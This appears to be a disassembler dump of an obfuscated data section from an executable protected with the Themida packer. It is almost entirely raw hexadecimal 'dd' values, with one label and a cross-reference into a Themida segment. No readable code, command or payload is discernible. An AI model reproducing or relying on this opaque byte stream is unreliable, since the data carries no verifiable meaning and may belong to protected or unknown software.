0B98003B2h dd 0FEh, 2 dup(0) dd 73CE900h, 0D0680000h, 0E9062886h, 0FFF9FD63h, 28879F68h dd 0FD59E906h, 7268FFF9h, 0E9062888h, 0FFF9FD4Fh, 28893768h dd 0FD45E906h, 1F68FFF9h, 0E906288Ah, 0FFF9FD3Bh, 288AFE68h dd 0FD31E906h, 0B8C5FFF9h, 503B648Fh, 0E89798F3h, 7A0F305Bh dd 1579A6C1h, 9EBDF36h, 6681BEC0h, 9BF25139h, 0E59E296h dd 0A9C07B01h, 3743D9BEh, 0DA4112BEh, 30A5EC34h, 89000000h dd 96A27A5Fh, 7B473A3Bh, 0B7C5EC30h, 2C9A6B8Ch, 0CE79008Ah dd 27A55E9Dh, 94B1EFDBh, 0ED0A3547h, 326ED9A0h, 0D82F7FD1h dd 4632473Ah, 583892FDh, 690364ABh, 49184876h, 0A367463Fh dd 2A55C657h, 23703BF6h, 98A3E926h, 0DB92A244h, 0E56C4118h dd 0FC114C83h, 78A44BD0h, 72000002h, 0D48FFDD3h, 1D4EFD81h dd 0B0D125DEh, 8575CD2Fh, 2CC02542h, 473A461Ch, 93C07B01h dd 83CCEF50h, 0DB1A4BF8h, 0BFD85485h, 60491855h, 88685AF7h dd 5FBC3906h, 0D4B6E951h, 69D6A4F1h, 0CFBE912Bh, 93408D06h dd 0DF0C3742h, 603C5D9Ch, 83494B6Fh, 7C98CDE0h, 0D2DF3887h dd 2B4A9BA8h, 5608E4F5h, 0CB996FF8h, 28A87E0h, 0ACD32039h dd 5D214E9Fh, 3F7EBDEEh, 0CBB1FEE1h, 4ED776CAh, 0A5E4616Eh dd 421901D5h, 3E011225h, 529h, 26DD6A7h, 0B6D16E1Dh, 2E390689h dd 44AF98E1h, 0FD14335Bh, 0DCA2EB8Dh, 6F1B046Fh, 88B9D0h dd 99E32C47h, 0FB9C47AEh, 12BD1921h, 0CE56FC41h, 801C0577h dd 473A3B78h, 3B83D745h, 4776473Ah, 2370B3FAh, 95E33221h dd 3BC8108Ch, 8E2D473Ah, 1AEB0C4Fh, 0B6D4398Ch, 8DCC1013h dd 45BDDFA8h, 5DBCA5AFh, 94A66507h, 4B74918h, 7AD000EDh dd 4FDD3A89h, 4F3AC834h, 94B3DCD9h, 1E52447h, 90A1DA93h dd 98E79CA2h, 84AAAD7Fh, 8A3EDFAh, 0D71BEDBh, 92CEED3Eh dd 23448B78h, 7499A2D6h, 36E6EB29h, 0E2180E54h, 8C89EECDh dd 5419FD00h, 26213A97h, 97582E7h, 0BDFC4B34h, 0CC174D68h dd 0F88EB9C3h, 4AB0DB5Ch, 5AA9B081h, 0E8000004h, 4E739AA5h dd 0BAE70E3Dh, 121F76D5h, 8CB5DC67h, 0DC2A4502h, 9CABD31Ch dd 13E4C75h, 74CFB9E6h, 0DF68141Dh, 702C4DB4h, 4112BC28h dd 5F1909CDh, 3B96A27Ah, 3E7B473Ah, 63B1F04Bh, 712B3646h dd 473A3B29h, 1488E1CCh, 473A3BC4h, 12438229h, 55B201F2h dd 184EF4C7h, 6C1C9949h, 206382D3h, 4457EC7h, 8CAE48E5h dd 362D0F50h, 6EAB90E9h, 0B2F12221h, 8ED9DC6Eh, 996A4F00h dd 2DFF0C05h, 4B702D1Dh, 7EC0BDF0h, 22762655h, 0D74B705Bh dd 206CA5E4h, 6D40F927h, 0C27D0F0Ch, 2D1666ABh, 0EA82E7CCh dd 4B705BDEh, 80A87833h, 754B705Bh, 81C31A46h, 4FFC83D2h dd 0E692DF1Eh, 2FFD1A5Dh, 45522C58h, 42887E3Dh, 9BE96E85h dd 387B78Ah, 78050000h, 107BA4CFh, 0A8D7D833h, 3A4F709Bh dd 0D5B9E601h, 492B1F76h, 0A6C17E00h, 0DB321179h, 4E99A2D6h dd 0E9003B41h, 7783197Eh, 9A4112B3h, 5772CF4h, 0F8EBE93Ah dd 286BD4A5h, 4FAA5DCFh, 28834918h, 1B302C1h, 0D3F00000h dd 0FCB09512h, 473A3BACh, 24366A41h, 1587E02Fh, 491828CAh dd 89A7833h, 9A1457A4h, 0F098DD96h, 0A4E70657h, 3FCEA943h dd 2A67B247h, 83BEE261h, 259EFB28h, 457E2900h, 0D7015F28h dd 0FAB2D71Ch, 489D5D18h, 7055B2F9h, 0BDEE5923h, 7507227Eh dd 85F91170h, 0F629972Dh, 4BF48491h, 5A85DB1Ah, 0F14E307Dh dd 42FD8FACh, 4D93D211h, 1BEF5824h, 0F433E3A9h, 0C21AE536h dd 40000002h, 0A6EB023Dh, 121F76D5h, 8AB7DE6Dh, 0E42D44FFh dd 6442AD9Ah, 4434B84h, 69D6A4EDh, 0DC67111Eh, 47008CB5h dd 0D854252Ch, 4112B2B0h, 7771B165h, 64DD3A05h, 0E6CA8936h dd 0ED3864D6h, 0DEA1F4EFh, 98F13C61h, 3AE4F404h, 53921947h dd 8EA16636h, 956E4918h, 54805C5Ah, 98A07C1Ch, 7D41181Ch dd 68A1FF3Eh, 0A1D72445h, 0EA3675A6h, 62E01CE9h, 57C52271h dd 4F3A0F0Ch, 785DBAF1h, 7E6194A4h, 0EE32794Bh, 800E0B6Eh dd 5ECB9DC3h, 0E0CC1D39h, 664BACF3h, 0BFE9319Dh, 0B16380CFh dd 0DC1C3269h, 9EF3218Ch, 0B0D854B9h, 65DC1C32h, 67700A56h dd 8D23E1Ch, 81C4671Fh, 42855F79h, 0B300F311h, 904C656h dd 901DE854h, 0FC1D5CEBh, 1B72CDBFh, 0A7D36616h, 2467E496h dd 8575B4F7h, 546C9F29h, 0DAA6B98Ah, 68000001h, 0CEF31A25h dd 3A678EBDh, 929FF655h, 0C355CE7h, 5CAAC582h, 1C2B539Ch dd 81BECCF5h, 0F44F3966h, 5FE8949Dh, 0F0ACCD34h, 4112B1A8h dd 7799894Dh, 78801C05h, 9D473A3Bh, 91AED11Eh, 0BDEE214Ch dd 3A5FA45Fh, 184E1162h, 54BFFE49h, 3BE65FFEh, 0A1B7C368h dd 8FB1D43h, 0E1CE5EBBh, 6E49229Ch, 0B9EA5921h, 7AEB267Ah dd 31DAFB4Ah, 2F488B68h, 46A19AE2h, 0C0349071h, 221C5CA0h dd 7EC9B3FEh, 0EF342F2Dh, 938B128Ah, 6FAC4F0Ah, 38F12F1Ch dd 72071475h, 215784C9h, 58B9E726h, 0EB582673h, 47008CB5h dd 99A6D522h, 0E8EB2974h, 0D04CD5A7h, 4B6A9188h, 0D3A406Dh dd 3A5A8BCAh, 0B89DFA49h, 565074CFh, 285262F6h, 0E284D81Bh dd 4548A8E5h, 0F1B7436Ah, 6EE96801h, 0FBC25Dh, 4890000h dd 9CEFD03Bh, 345B44AFh, 0C6B3FC17h, 612D127Dh, 0BDBF8BE2h dd 0D23D0A74h, 47AE9DEDh, 0FA152E5Ah, 157CC7B5h, 0CB1F8DEAh dd 2E4112B1h, 0E65FB868h, 774926B1h, 0AFA9F76Dh, 0D0A6FB4h dd 82BDCF7Eh, 27F51243h, 473A4313h, 2874B706h, 0CE667329h dd 0A4174922h, 73051277h, 1F6D94C8h, 87ECCD24h, 12C6C515h dd 96B1D841h, 92192645h, 0EE59234Eh, 5E1EFBDh, 0F3983CC3h dd 0A1EA0754h, 7BC0E884h, 86355DA5h, 0B33E1647h, 0EE0BF135h dd 475828Ah, 0B6C5EA3Bh, 0EF0A5689h, 52C3189Dh, 60A4A027h dd 0B3D9C621h, 7AF41A32h, 35747056h, 94B3C7D4h, 0ADF82447h dd 0B468F980h, 5DA54264h, 0B340F79h, 0CCADDBA0h, 0A09800B7h dd 49230861h, 5DA59B21h, 0EC80D9D4h, 5DA59BDCh, 7267A31h dd 2824440Dh, 9B0129C3h, 0B9F45DA5h, 152E5E9Bh, 7CC7B5FAh dd 3D02Fh, 0CB020000h, 3D067773h, 8EB9C3E8h, 0DF68105Dh dd 2A19618Eh, 7DCAB4F9h, 0CC7B0328h, 1C27529Fh, 6EDDA2CFh dd 0BC8BF03Dh, 0E168696Fh, 8900006Eh, 0D968241Ch, 89000058h dd 68682434h, 8900003Bh, 59BE243Ch, 4E16907Fh, 128CE81h dd 0BB5329FAh, 2FD60EA3h, 1FB8CB81h, 0F3814222h, 748F55A1h dd 8102E3C1h, 0D95553F3h, 0BEC38168h, 814BF457h, 5EDB33EBh dd 5BDE2917h, 243C8B54h, 5504C483h, 8155F589h, 4AAD242Ch dd 478F074Ah, 8478108h, 74A4AADh, 2434FF5Dh, 4C4815Fh dd 8B000000h, 89562434h, 4C681E6h, 81000000h, 4C6h, 24348700h dd 0F635E95Ch, 6BD4FFF9h, 1EB892D7h, 306288Ch, 0E1E0FFC5h dd 34083531h, 6116CB08h, 43393C34h, 731E43FFh, 0B5CE451h dd 632F0EB9h, 0A9189519h, 434F72Bh, 0DC789990h, 0E9545C19h dd 1Fh, 0D8FAB64h, 6 dup(0) dd 0E9000000h, 58Ch, 0DE29127Bh, 729DAAD1h, 0EA05424Dh dd 6BD4A5h, 0B9D06F1Fh, 1866AFB1h, 0ABDFC02Bh, 3C4C759Ch dd 0D5A7E803h, 0BFD8036Ah, 12B6DDEDh, 8A9A3041h, 0E93A0577h dd 628DBAC4h, 532FAC15h, 0CAA87E63h, 26216B96h, 0F98390F5h dd 0A5D7124Eh, 5724499Ah, 65B695E6h, 21E20746h, 2F41FD33h dd 4461BFC8h, 12345ACh, 78A9C07Bh, 0D3DC3710h, 24499AA5h dd 3790E956h, 20680ABAh, 0CEB7F627h, 0E22F14B5h, 5776AA99h dd 3DEF721Ah, 473AA4EDh, 396AAD00h, 6BB887F4h, 72B830A1h dd 0CAB2FFDAh, 0A4B5C557h, 5558473Ah, 7EA2C112h, 0C9BF75F3h dd 0A4B4C458h, 5259473Ah, 0C5B7F813h, 0FB3A0574h, 0A4C91AAAh dd 0A3D6473Ah, 3A5EBA22h, 3E717BDBh, 8EB9C0EDh, 0B236335Dh dd 0FB7D847Ch, 0C37A0411h, 2A4F8EB9h, 3A3D2672h, 0BCE0CB47h dd 0F3D5E598h, 7EF051h, 775E0000h, 0F8DD3A05h, 3A3B1424h dd 6EB2F947h, 0A7493A5Fh, 1B8B9DF2h, 0DD66165Bh, 95376D88h dd 473A9F47h, 1587ECEDh, 473A9FC5h, 0D25F8528h, 37FE7396h dd 1A1751F3h, 868FD56Eh, 0Eh, 850CC31h, 0ED473A93h, 4F8EB9C0h dd 4777D11h, 0B2D91647h, 1053F09Bh, 0CE1A92F7h, 23473A3Bh dd 0FC315488h, 0F761B28Dh, 5526FE7Ah, 1EE5324Ch, 0D4C1976h dd 7ACFBDE2h, 95F93615h, 861C77B6h, 0EB380777h, 7196B5C6h dd 0FD7C5990h, 0B4E806DCh, 9FD95691h, 2D4AF985h, 0AA0454C8h dd 0C2E9473Ah, 1844FF8Dh, 79C2CAF7h, 1612A760h, 0E55DA364h dd 3E416EBFh, 0E0ABE801h, 0ADF33263h, 0AFC9B098h, 0F373F598h dd 8A5B2C51h, 96D154E3h, 8C24E937h, 4F000000h, 0D00C3742h dd 2D525F3Ch, 1488CD1Eh, 473A3BC4h, 0E438229h, 5F9ECF7Ch dd 0A996F801h, 623A1F64h, 473A3B56h, 85ACF0BBh, 68184DFAh dd 0C1CD6781h, 10E6B82h, 6891CF78h, 0B3C01926h, 257BC8h dd 70A59EEBh, 0B0D711D8h, 51F3D9CDh, 8308h, 7771600h, 2FB4836h dd 0BF3A837Ah, 0C91A5DBEh, 0E6BD4A4h, 783422B5h, 0BCCE4BAEh dd 0DC1F5E8Fh, 30556580h, 7FAC9BE3h, 0DF19E03Ch, 0ED0A3945h dd 226FD8A0h, 7BBAEB58h, 77603A25h, 0F1164704h, 0D8B77C10h dd 0A8F4EA9Ah, 3A48CD1Eh, 9FACD247h, 0E05B214Eh, 3E6FDCAFh dd 63B08BF1h, 3BBDB440h, 84E40DF7h, 34473F88h, 0E79CA7D5h dd 1B39B9F9h, 0F3983E33h, 0A9B51h, 453E0000h, 84185E22h dd 6E065AE7h, 0EA3B0877h, 0FD82B7C5h, 85EA0F4Eh, 3A3BC317h dd 53D3647h, 15F32BD5h, 503B74B7h, 5D83A2F3h, 1B5D0408h dd 0A897E431h, 0DDE4387Bh, 0F7495B2h, 3A1B4D9Dh, 0D70DA047h dd 68B7AC8Ch, 680A9D0Fh, 4A3B4918h, 0B7FEFDC6h, 0F684CD15h dd 0BBD90449h, 0B1FE2F8Eh, 281970CBh, 0FA8ADB64h, 41189BACh dd 38D4ADA8h, 0F2D3241Bh, 86E24F95h, 0A943DEAEh, 4118C081h dd 0EF063974h, 3C61DAA2h, 61B28DFFh, 75AFC946h, 0DEDB3C07h dd 84D9EADh, 18C04494h, 0C302A941h, 0ADA0729Dh, 84BD0E0h dd 156h, 0DEAB5816h, 9BE4CD98h, 6BDD7ACh, 0A3E25D2Bh, 0AE950760h dd 9F4918A5h, 0DAA2CF1Ch, 7E0B0861h, 0F5590C5h, 96B1DBC4h dd 0DB642845h, 0D0A6F8Ah, 5093C07Bh, 61C3250Ch, 35C9201Bh dd 4BD11B38h, 68B06C51h, 8D4118F6h, 4653F22Eh, 0FB000000h dd 861A858h, 0A6A5D623h, 6C78A07Ah, 785D1173h, 3A3B94A4h dd 0F33279C7h, 3BC612A2h, 99F8C73Ah, 3BD0F8B4h, 7645C73Ah dd 0A4A9CF2Ah, 251E6BACh, 53A085E2h, 25C71D26h, 91736CF5h dd 0A7BAD5D8h, 0C2h, 64AB588Fh, 3DC66903h, 0A2EF4918h dd 0FB366AD9h, 2D7ECDBEh, 6DAACF0Eh, 0B3F2231Ch, 35B2C656h dd 54674118h, 0CCB0FD08h, 0F23F1873h, 4E6DBE8Dh, 0D0A8CAB5h dd 459B3535h, 90F9503Ch, 222774B7h, 861B2FFDh, 0BFFE4118h dd 864AC761h, 0BBB64118h, 0A495E73Dh, 0F83B68D7h, 4679C2B7h dd 0C916CD2Fh, 0B6664BB0h, 41188562h, 0A4EB2497h, 77AF79A7h dd 5A4F0001h, 9FED0253h, 2D5DBD1Eh, 337249C2h, 424F2AE2h dd 0BADF0C37h, 7169D6E2h, 31703B4Bh, 6DE206E3h, 0EBD02976h dd 4C93141Ah, 2E72FB04h, 69BBA09Ch, 5F208D45h, 62DDAFE0h dd 2E7DC623h, 2528FC5Fh, 98E1E23Eh, 0BD1F9B3h, 69445549h dd 0AB589B2Bh, 0AD690364h, 904922BFh, 0DA0BFC1Dh, 6CE76424h dd 49695421h, 0B2A99275h, 6A125F6Eh, 147BB8D1h, 99C7E637h dd 0F8434976h, 828219ABh, 11D83BB3h, 142F5DD7h, 7FC8B4FDh dd 0CF78012Eh, 0ADCBB69Eh, 0DD3A0577h, 3B044764h, 0C917C573h dd 48F39986h, 3041Bh, 0CBEE0000h, 3D067773h, 8EB9C3E8h dd 0DF68105Dh, 2A19618Eh, 7DCAB4F9h, 0CC7B0328h, 1C27529Fh dd 6EDDA2CFh, 0BC8BF03Dh, 8957696Fh, 4C781E7h, 81000000h dd 4EFh, 243C8700h, 240C895Ch, 81E28952h, 4C2h, 4EA8300h dd 5C241487h, 52240489h, 0C281E289h, 4, 8704EA83h, 895C2414h dd 0C682414h, 8B06288Dh, 0C4832404h, 148B5404h, 4C48124h dd 50000000h, 46D7B850h, 4401172Dh, 8F580424h, 6A810842h dd 2D46D708h, 2434FF17h, 4C4835Ah, 582434FFh, 0E904C483h dd 0FFF9F04Fh, 55113F9Dh, 28921AB8h, 0FFC50306h, 0F02D31E0h dd 8C98B467h, 1E15C044h, 0C3196028h, 6E401940h, 8097737Dh dd 0D1CB7905h, 0B6BEBA24h, 0A49EB941h, 1BEF2B55h, 0EEC71D03h dd 7006761Ch, 8EA3784Eh, 0C7F7566Ch, 350A7157h, 17A74B02h dd 20BC8648h, 0BDECE705h, 4B2FA14Ah, 1CA9D527h, 92C35B52h dd 0A9761C6Ch, 2D656867h, 0E417662Eh, 3A50FB06h, 5BFBB128h dd 2873DF30h, 6CF18756h, 5E862h, 41AA0000h, 8B82C725h dd 52BA58FEh, 8178A1A8h, 6DA4C0h, 38B9F800h, 0F00001Bh dd 388h, 0F18B6600h, 880F30FFh, 17h, 0BE8h, 0EEDD6100h dd 4864A829h, 0CEF08732h, 255FC781h, 5B5E08DCh, 7E9h, 148DA400h dd 36FBEDBEh, 0FD7EC381h, 8D0F5121h, 3, 81D08B66h, 0D59B68F3h dd 8B665348h, 0EB815EF1h, 5A64F988h, 89F78B66h, 0F98B6618h dd 0E20FE881h, 0C08143A9h, 43A9E20Bh, 10E9h, 0B10B6900h dd 5C9FEF4Fh, 0D446CF14h, 0CBD3F0A2h, 850F49B9h, 15h, 2DF78166h dd 20E9C5h, 0CFEB0000h, 38E895B7h, 7F2047F1h, 0EBD28153h dd 0E92AF421h, 0FFFFFF64h, 78965822h, 0BCEBAD76h, 19E9721Fh dd 0A8000000h, 695CFDh, 5 dup(0) dd 509E9h, 954B6800h, 0D8E90628h, 68FFF9EEh, 62895B4h dd 0F9EECEE9h, 976B68FFh, 0C4E90628h, 68FFF9EEh, 0CEF31A25h dd 3A678EBDh, 929FF655h, 0C355CE7h, 5CAAC582h, 1C2B539Ch dd 81BECCF5h, 0F44F3966h, 5FE8949Dh, 0F0ACCD34h, 4112AFA8h dd 5F99894Dh, 5E979EE6h, 4B89CE3Bh, 0D559602Eh, 0C5A2938Ah dd 78FBED96h, 0C1B3DD91h, 6C105D8Eh, 0AB58B8D3h, 46690364h dd 6F49180Bh, 0B9EA5922h, 7BB8C05Ch, 5E5D4118h, 6548C11Fh dd 0B8C6D330h, 0C51B5A8Bh, 187B1323h, 8F8CED41h, 3F40F9h dd 0C5190D3h, 32B6B3E1h, 0D19B621Fh, 33C774Bh, 5FDF0000h dd 3B96A27Ah, 307B473Ah, 5AAE61ECh, 0A62B54A9h, 3C8F986Fh dd 8F53483h, 0B86C16D8h, 4AAFEE15h, 0E4632865h, 9E2874B7h dd 49180845h, 0B16303AAh, 95FE8616h, 0F25E2BD8h, 13A4ECBh dd 3F051974h, 0B43642DAh, 0D0DB44BDh, 3BA47891h, 244A9FA7h dd 4B384489h, 7322E304h, 806983ABh, 7E2E2371h, 40B1B8DDh dd 4397056Ah, 0B648F1FFh, 4D60D907h, 0A29DEF2Ch, 4434845h dd 5283C0CBh, 9D82CD13h, 572572EFh, 0AC7CBFECh, 48F1FF9Ch dd 0FFB3A71h, 0EC0F3152h, 10B38E9Fh, 3C000003h, 929FF651h dd 0E335AE9h, 66ABC281h, 0D0C12813h, 707691AEh, 0E8572770h dd 5DEA9081h, 0C07B0D32h, 2B1478A9h, 0AC4019C0h, 4112AE9Ch dd 5845DD71h, 0DE0364ABh, 4390ABD1h, 0FF2AFC20h, 0D04922C8h dd 0F7FBCDDh, 0B5DAD730h, 18094A96h, 0C884C976h, 975BF859h dd 1867D2BAh, 78BBFA2Bh, 0B260C98Eh, 41B14F5h, 2A7h, 6681BAC3h dd 9AF55239h, 325DEA95h, 0A8C37C0Dh, 0C1281767h, 0C0CE07E9h dd 53276883h, 0E4949DF4h, 7D0F305Bh, 0D7A0ABC2h, 12AE3545h dd 0F232D841h, 0AA42AB58h, 473A3B9Eh, 0BA426037h, 0CF70CFDAh dd 0D04CADECh, 49229269h, 6232634Ah, 4112D552h, 0BAC0CDACh dd 0C71D588Dh, 0B50EFE7Ah, 0D9A14A07h, 951B916Ah, 479DD03h dd 1D4BCB3Bh, 8DDE6910h, 0BF13326Eh, 3B000001h, 0C5800577h dd 0CCBE715Ch, 317EAFEEh, 8799F04Bh, 8A6287CCh, 491896A5h dd 33C4D6Ah, 117693C0h, 0FDC599B0h, 0A272DA62h, 41185896h dd 1546018Bh, 1E4269D6h, 1858384Ch, 0EB542541h, 480575BAh dd 96C70641h, 0E4083359h, 1937FB7Dh, 53341850h, 95F7275h dd 133B5915h, 4BD1375Eh, 5B7Bh, 0AB58A300h, 3B9EAA42h dd 3873473Ah, 0EB93E0F9h, 3B96A27Ah, 307B473Ah, 5381ACF1h dd 0B0DCD93Eh, 0C04ACA2Dh, 7EB1A82Fh, 2474282Dh, 0C9473A89h dd 0AB7DA3E2h, 4918F3B8h, 0C12695h, 0A5A22A16h, 1C297754h dd 18E63C40h, 0E107C241h, 0D0FEB3AEh, 0C1CDCA4Bh, 0CFF75E82h dd 5F000000h, 0AB2A525Fh, 0F91B13E9h, 4D9ED1DBh, 0C5B7F22Eh dd 6B101D7Ah, 306C8FDCh, 89B6D815h, 42DA3F44h, 473ADF36h dd 658CD0DBh, 0B2FF2C17h, 0AF1871CAh, 0B4C77019h, 5E274697h dd 1D4333F1h, 0EC80E5F2h, 473A07DCh, 1C817A31h, 0D4C59A1Dh dd 4DAF79A7h, 8C473A68h, 114FFC8Fh, 709BA4E8h, 0CB2C7360h dd 1ECA0751h, 76931A49h, 9FF65539h, 0A379EC92h, 411F1A97h dd 6F0337Ah, 0F5B5D437h, 0F0AEB182h, 1C000000h, 72BFD671h dd 0EED33A09h, 464BA2A1h, 0B0E10833h, 101671CEh, 0C8770750h dd 3D0A70A1h, 0A09BEDD2h, 0B345849h, 8C6079E0h, 4112AC7Ch dd 5F25FD91h, 0C11F2C52h, 0DD4FD6B8h, 473A3B8Dh, 0E30A4D60h dd 1A75CEBEh, 0BF88F03Dh, 577CD61h, 0B8C4E93Ah, 0B9996A8Fh dd 0B4812F59h, 90E0E331h, 0A17B9CE3h, 4918B42Eh, 2E6B8C2Fh dd 1888E360h, 41192BF4h, 7198A3E9h, 0DC013E40h, 724Dh dd 0AB58B100h, 0A4690364h, 954922C8h, 0D4B8F526h, 0AF8BDF4Dh dd 4F6E4112h, 0D0BCE50Ch, 6F962677h, 9B27C543h, 721A1A5Eh dd 0B71BEC9h, 0BCF54E3Eh, 42774D3h, 2357A4C5h, 0A7E6652Ah dd 0DCE93776h, 295FEA9Fh, 7DBADF1Eh, 0C2E13211h, 1CC54F9Eh dd 0B3458DCh, 7CCDBFE0h, 0F24D3C0Dh, 4382A1h, 0D4CD3h dd 0CBB60000h, 8EBDC1CEh, 0ABD11E5Dh, 77B04C90h, 0C3E83D06h dd 105D8EB9h, 618EDF68h, 0B4F92A19h, 3287DCAh, 529FCC7Bh dd 0A2CF1C27h, 0F03D6EDDh, 696FBC8Bh, 5AE668h, 243C8900h dd 81E38953h, 4C3h, 4EB8100h, 87000000h, 895C241Ch, 89502404h dd 405E0h, 42D0000h, 87000000h, 895C2404h, 0BD55242Ch dd 6A8B43D6h, 3E7E581h, 0C14D68C8h, 0EDC106E5h, 0FDF58107h dd 53066C95h, 0D889EB89h, 0EC815D5Bh, 4, 83242489h, 5D042404h dd 8904EC83h, 458F2404h, 242C8B08h, 5E08950h, 4, 405h dd 24048700h, 2434FF5Ch, 4C48358h, 0F9E9DAE9h, 80B8C0FFh dd 3062898h, 58E0FFC5h, 0F3656330h, 5C2A26B2h, 28326F6Eh dd 4F2BDFE5h, 5C1457FEh, 246D9D9Ah, 742822E9h, 1D1E6151h dd 595A2C08h, 0EF6CEE29h, 0F944894Bh, 0AF40155Fh, 803F182Bh dd 6A7C0266h, 97728D3h, 5F73303Eh, 0D10284EBh, 48239827h dd 997C9F44h, 0C5501588h, 0AD0748A1h, 7815BEC5h, 5759CF58h dd 2B4CF3F6h, 0C335B0F5h, 32386419h, 0A03E6190h, 5312562Fh dd 5DB1617Fh, 0AEB7DBAFh, 0AF823256h, 0BBEF689h, 0D7F13256h dd 0EAB13243h, 75B122BFh, 10F9DE56h, 0CE8F112Fh, 0C0C77957h dd 0C1E33748h, 0ABB1CB84h, 26095436h, 0DBFD53FCh, 8CB13016h dd 4F898236h, 52B13237h, 0AEB13AD1h, 553C3D56h, 0CBB13256h dd 0B5B13237h, 1D3054A3h, 75D0C323h, 0BAA0DB56h, 1C033256h dd 0C42A764Bh, 0F1E38704h, 78E4C202h, 0B51994C8h, 360BCE36h dd 14F011B0h, 0DA0F5436h, 5DA1DBE3h, 0A0933256h, 0BC550539h dd 0B16D0143h, 914E0DAh, 8BD01892h, 65583256h, 21B13256h dd 0CB906AE5h, 410A8971h, 0A746F79Dh, 0A4946E88h, 0D4B16718h dd 16B13256h, 65583256h, 0B2B13256h, 0ABBC3B9Eh, 5CD6DE8h dd 0DF553452h, 59BB0BFCh, 0C7B16559h, 41B13256h, 120E9751h dd 0B7201735h, 5FB13258h, 5A74C434h, 0BEB132F9h, 0ABB1325Fh dd 3C6B6F1Ah, 0C66BEC10h, 7AB132A1h, 0BAB125D0h, 5DA3DB56h dd 0CBD83256h, 54EF08Eh, 0FF797FEEh, 5D1042F4h, 4F0DABB7h dd 75BCDB36h, 1EF43256h, 328DAE38h, 0E0C4CB83h, 0AB1764C1h dd 0A4B13237h, 0D5B133DCh, 0EAB1CE56h dword_564300 dd 73363D36h, 0B5B13256h, 5DB132DFh, 6085456h, 574953F7h ; DATA XREF: Themida_:004FC888o dd 0ABB1CB56h, 0D5B5B159h, 1FD13256h, 0F1BE53AEh, 0BAB13257h dd 0B4B132AFh, 0AEB1325Bh, 0CF33EA73h, 95AE6A47h, 4C1FE021h dd 0E5B13225h, 75B12ADAh, 0BAA2DB56h, 0C9C3256h, 2A1E8FEAh dd 0A9062092h, 7DA991D3h, 4A674F6h, 12B13266h, 0FABE3256h dd 0BAB13258h, 5D383D36h, 0A1B13256h, 57B132D4h, 0ABB15356h dd 3CB132AEh, 0EAB1325Eh, 0C8FA9445h, 8EBD5C42h, 0A53A5436h dd 0AEB4B059h, 0D6D73256h, 0CA056E95h, 3CD13256h, 0EAB1325Dh dd 0A2F75231h, 12E76351h, 5216B45Dh, 0AED0E1E1h, 583C3D56h dd 42B13256h, 0D5B1325Ch, 0E337B725h, 6650B055h, 0BAB155EAh dd 5DB0BA59h, 0AE443256h, 57B6DB56h, 0C4933256h, 1FACA5CDh dd 3B132F9h, 75B1325Eh, 0BE4BB881h, 1FCBABA1h, 0AEB135BFh dd 0F91BA556h, 6C26C737h, 0B5D13256h, 0EAB134BEh, 0E51D5E56h dd 0E59BAB11h, 0B4D0E3DCh, 0AEB1325Bh, 1B32E63Bh, 6BC51B74h dd 0BC09CC76h, 60D153ECh, 75B15398h, 4FB132A3h, 0DFBE3256h dd 0AEB13257h, 57B130AEh, 0ABB13856h, 0D5B4DB56h, 7F463256h dd 75E5F2FEh, 0B7333D56h, 0B4B13256h, 0AEB1325Eh, 390223A3h dd 0E1E04127h, 0D5BB3581h, 0EAAF3254h, 75B0325Ah, 0B8803245h dd 51595729h, 0C3B13256h, 0A941E5BFh, 93C0575Eh, 0DAA91CE6h dd 0EAB132D0h, 7AD06C56h, 0BAB134D8h, 3B495256h, 0AED0FDDDh dd 0AD3A5256h, 0F6095436h, 0D5353D44h, 8BB13256h, 7AB13237h dd 0BAB133DBh, 5D4DC756h, 0AEB1C756h, 0C58B236h, 0ABB153AFh dd 0D5B8B959h, 1FD13256h, 75B1B959h, 0BAD03256h, 5DA1DB56h dd 7EED3256h, 135CC3E8h, 43C087BDh, 0B8022C62h, 0EAB19ABBh dd 31B132AFh, 0D13254h, 57DC746Ch, 9AA08C30h, 13B13237h dd 0ABB13254h, 93744A8Dh, 0AE245974h, 0CFB8ED85h, 0BA1E7FFFh dd 9D9ACE56h, 0AEB6DBCAh, 0D7B23256h, 7EECCEFh, 0D5A1DB23h dd 1B293256h, 58F56580h, 9301C134h, 0B86D7DF8h, 472C59ECh dd 57B1325Dh, 0B92C4611h, 8B28D2B5h, 8BE43E69h, 79595206h dd 1EB13256h, 4D62F05Bh, 929E3C5Fh, 31FA2893h, 0F28615EEh dd 0D5B13ABEh, 54C87256h, 0BF845E49h, 70063D6Dh, 0C27530Dh dd 239585E0h, 0DE216114h, 0EE0D9DD8h, 0B4E9680Fh, 8B2C51C5h dd 9CE16A0Ch, 0BAB13242h, 865BE7DAh, 1907632Eh, 4F3BF72h dd 43FBBC6h, 1E2B77EAh, 113BC7C6h, 0A2E7434Eh, 0C9539F92h dd 929F9B66h, 458B570Ah, 539576DFh, 0ABB13EBFh, 47ACC656h dd 34A85235h, 9F64BEE9h, 53CA6A8Dh, 5DB13250h, 9325D5F0h dd 362CB164h, 8B9260C6h, 99CEAC8Fh, 8C2A98C3h, 70C7D2D7h dd 0BAB13EBFh, 5FFCD656h, 0E0F86245h, 0DB44E39h, 20D7AFDDh dd 0DAE9538Eh, 0EAB133DDh, 75D0CE56h, 0B03D3D56h, 0B4B13256h dd 0AEB13253h, 6BC6EAB6h, 42B1326Eh, 0D5B13251h, 0BFFAAC88h dd 7577246Ah, 3DBE5256h, 5DB13253h, 8273B330h, 57B1535Bh dd 0ABB13ABFh, 0A053E056h, 1092E7AFh, 75BBDBD5h, 52A93256h dd 0B3C33A73h, 0AA367446h, 574D3256h, 7A305256h, 0FE525D3Ch dd 8AB13237h, 0F823DDE8h, 0DB7AB96Bh, 0ECD13256h, 0AEB15362h dd 57BDB459h, 0A4D13256h, 0D5B132D5h, 0B4095456h, 75B153F7h dd 0BAA6BE59h, 4F583256h, 8FB13256h, 7FD65CA7h, 9023D1C6h dd 0D05FB21h, 0ADF66CCDh, 15B132F0h, 0BABDB359h, 5B593256h dd 70B13256h, 0DF79FE5h, 0A5586B03h, 64B13256h, 110F487Bh dd 4E5D1EFFh, 0B4E31F0Fh, 0D3BE5389h, 0AEB1325Eh, 57B3BC59h dd 0CAD13256h, 0B3D13256h, 0B711E3D7h, 1446C7D6h, 0BA493256h dd 5DB1CB56h, 0AEB139BFh, 0C7F19456h, 6595BC5Dh, 26FC1791h dd 62BE3256h, 75B13257h, 0DAB132A3h, 5DB139BFh, 0BF982B56h dd 84287CC9h, 0D11A9814h, 0D5B0B559h, 8B483256h, 0F3BE3256h dd 0BAB13257h, 0B4B132AEh, 0AEB1325Fh, 28048367h, 0CC88E388h dd 2CB1321Bh, 0E1583256h, 